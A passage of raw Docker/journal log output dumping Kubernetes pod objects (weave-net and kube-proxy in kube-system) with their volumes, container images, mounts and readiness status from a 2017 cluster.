v1.podcondition{type:\\\ ready\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170307, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc8219e0680 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ weave\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8219e0780 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc82029c4d0 }, ready:true, restartcount:6, image:\\\ weaveworks/weave-kube:1.8.2\\\ , imageid:\\\ docker://sha256:a4740ae55aae4985e19624fe18a49455ca386da6a7918723d13b7672a3474082\\\ , containerid:\\\ docker://865da5295315b440e8e4925ebfa61d2d09139af1bdab1c12b70c33d4346fc617\\\ }, v1.containerstatus{name:\\\ weave-npc\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8219e0a80 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc82029c540 }, ready:true, restartcount:2, image:\\\ weaveworks/weave-npc:1.8.2\\\ , imageid:\\\ docker://sha256:c91ef3f4642b6e3bc033a516808d34409bfce57962e1ec506c23fde0b8275fa3\\\ , containerid:\\\ docker://b39c2217b688d265b46624b7a7000e53780482f0d7f0ca31326f005783e7ba63\\\ }}}} &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ weave-net-v01k4\\\ , generatename:\\\ weave-net-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/weave-net-v01k4\\\ , uid:\\\ 7a9dc798-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494499\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ weave-net\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ weave-net\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 11a1f0f2-dbdd-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 1018\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  \\\   {\\\     \\\\\\\ key\\\\\\\ : \\\\\\\ dedicated\\\\\\\ ,\\\     \\\\\\\ operator\\\\\\\ : \\\\\\\ equal\\\\\\\ ,\\\     \\\\\\\ value\\\\\\\ : \\\\\\\ master\\\\\\\ ,\\\     \\\\\\\ effect\\\\\\\ : \\\\\\\ noschedule\\\\\\\ \\\   }\\\  \\\ \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ weavedb\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  0xc8215474e0 , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821547540 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin2\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8215475d0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-conf\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821547660 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource\r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 :   nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171c450 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ weave\\\ , image:\\\ weaveworks/weave-kube:1.8.2\\\ , command:  string{\\\ /home/weave/launch.sh\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ weavedb\\\ , readonly:false, mountpath:\\\ /weavedb\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin\\\ , readonly:false, mountpath:\\\ /opt\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin2\\\ , readonly:false, mountpath:\\\ /host_home\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-conf\\\ , readonly:false, mountpath:\\\ /etc\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  0xc82171c4e0 , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c510 , stdin:false, stdinonce:false, tty:false}, v1.container{name:\\\ weave-npc\\\ , image:\\\ weaveworks/weave-npc:1.8.2\\\ , command:  string nil , args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c5a0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821547d50 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:true, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc8219f26c0 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ false\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170307, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc8218855e0 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ weave\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8218856e0 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc820467880 }, ready:true, restartcount:6, image:\\\ weaveworks/weave-kube:1.8.2\\\ , imageid:\\\ docker://sha256:a4740ae55aae4985e19624fe18a49455ca386da6a7918723d13b7672a3474082\\\ , containerid:\\\ docker://865da5295315b440e8e4925ebfa61d2d09139af1bdab1c12b70c33d4346fc617\\\ }, v1.containerstatus{name:\\\ weave-npc\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc8218859e0 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8204679d0 }, ready:true, restartcount:2, image:\\\ weaveworks/weave-npc:1.8.2\\\ , imageid:\\\ docker://sha256:c91ef3f4642b6e3bc033a516808d34409bfce57962e1ec506c23fde0b8275fa3\\\ , containerid:\\\ docker://b39c2217b688d265b46624b7a7000e53780482f0d7f0ca31326f005783e7ba63\\\ }}}}\ \r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 : time=\ 2017-02-08t17:37:31z\  level=info msg=\ event updatepod &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ kube-proxy-qbk06\\\ , generatename:\\\ kube-proxy-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/kube-proxy-qbk06\\\ , uid:\\\ 7a9dd752-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494495\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ tier\\\ :\\\ node\\\ , \\\ component\\\ :\\\ kube-proxy\\\ , \\\ k8s-app\\\ :\\\ kube-proxy\\\ , \\\ kubernetes.io/cluster-service\\\ :\\\ true\\\ , \\\ name\\\ :\\\ kube-proxy\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ kube-proxy\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 9ac5220a-dbdc-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 981\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/affinity\\\ :\\\ {\\\\\\\ nodeaffinity\\\\\\\ :{\\\\\\\ requiredduringschedulingignoredduringexecution\\\\\\\ :{\\\\\\\ nodeselectorterms\\\\\\\ : {\\\\\\\ matchexpressions\\\\\\\ : {\\\\\\\ key\\\\\\\ :\\\\\\\ beta.kubernetes.io/arch\\\\\\\ ,\\\\\\\ operator\\\\\\\ :\\\\\\\ in\\\\\\\ ,\\\\\\\ values\\\\\\\ : \\\\\\\ amd64\\\\\\\  } } }}}\\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  {\\\\\\\ key\\\\\\\ :\\\\\\\ dedicated\\\\\\\ ,\\\\\\\ value\\\\\\\ :\\\\\\\ master\\\\\\\ ,\\\\\\\ effect\\\\\\\ :\\\\\\\ noschedule\\\\\\\ } \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ kubeconfig\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821546770 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ dbus\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8215467f0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171dda0 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ kube-proxy\\\ , image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , command:  string{\\\ kube-proxy\\\ , \\\ --kubeconfig=/run/kubeconfig\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist nil }, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ dbus\\\ , readonly:false, mountpath:\\\ /var/run/dbus\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ kubeconfig\\\ , readonly:false, mountpath:\\\ /run/kubeconfig\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c2a0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821546b20 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc8219f2340 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ false\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170258, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163174, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc82193e040 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ kube-proxy\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc82193e140 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8204675e0 }, ready:true, restartcount:3, image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , imageid:\\\ docker://sha256:71d2b27b03f6cd127b54f3c49616db4819e4a2e3c16e74b3140c8b9fbcbb82b5\\\ , containerid:\\\ docker://b969b6835fa2173111207386554133120e62fd8a0884d271ad7ae76329fbba68\\\ }}}} &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ kube-proxy-qbk06\\\ , generatename:\\\ kube-proxy-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/kube-proxy-qbk06\\\ , uid:\\\ 7a9dd752-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494503\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ component\\\ :\\\ kube-proxy\\\ , \\\ k8s-app\\\ :\\\ kube-proxy\\\ , \\\ kubernetes.io/cluster-service\\\ :\\\ true\\\ , \\\ name\\\ :\\\ kube-proxy\\\ , \\\ tier\\\ :\\\ node\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ kube-proxy\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 9ac5220a-dbdc-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 981\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/affinity\\\ :\\\ {\\\\\\\ nodeaffinity\\\\\\\ :{\\\\\\\ requiredduringschedulingignoredduringexecution\\\\\\\ :{\\\\\\\ nodeselectorterms\\\\\\\ : {\\\\\\\ matchexpressions\\\\\\\ : {\\\\\\\ key\\\\\\\ :\\\\\\\ beta.kubernetes.io/arch\\\\\\\ ,\\\\\\\ operator\\\\\\\ :\\\\\\\ in\\\\\\\ ,\\\\\\\ values\\\\\\\ : \\\\\\\ amd64\\\\\\\  } } }}}\\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  {\\\\\\\ key\\\\\\\ :\\\\\\\ dedicated\\\\\\\ ,\\\\\\\ value\\\\\\\ :\\\\\\\ master\\\\\\\ ,\\\\\\\ effect\\\\\\\ :\\\\\\\ noschedule\\\\\\\ } \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ kubeconfig\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821540a50 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ dbus\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821540af0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil 